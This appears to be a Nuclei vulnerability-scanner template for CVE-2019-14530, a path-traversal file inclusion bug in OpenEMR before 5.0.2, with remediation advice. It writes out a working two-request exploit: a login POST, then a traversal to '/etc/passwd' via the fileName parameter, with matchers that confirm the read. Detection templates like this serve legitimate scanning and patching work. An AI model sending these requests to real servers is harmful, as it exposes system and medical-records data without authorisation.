OpenEMR <5.0.2 - Local File Inclusion

id: CVE-2019-14530

info:
  name: OpenEMR <5.0.2 - Local File Inclusion
  author: TenBird
  severity: high
  description: |
    OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50037
    - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
    - https://github.com/openemr/openemr/pull/2592
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
    - https://github.com/sec-it/exploit-CVE-2019-14530
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-14530
    cwe-id: CWE-22
    epss-score: 0.81752
    epss-percentile: 0.98283
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
  tags: cve2019,cve,lfi,authenticated,edb,openemr,open-emr

http:
  - raw:
      - |
        POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
      - |
        GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - filename=passwd

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
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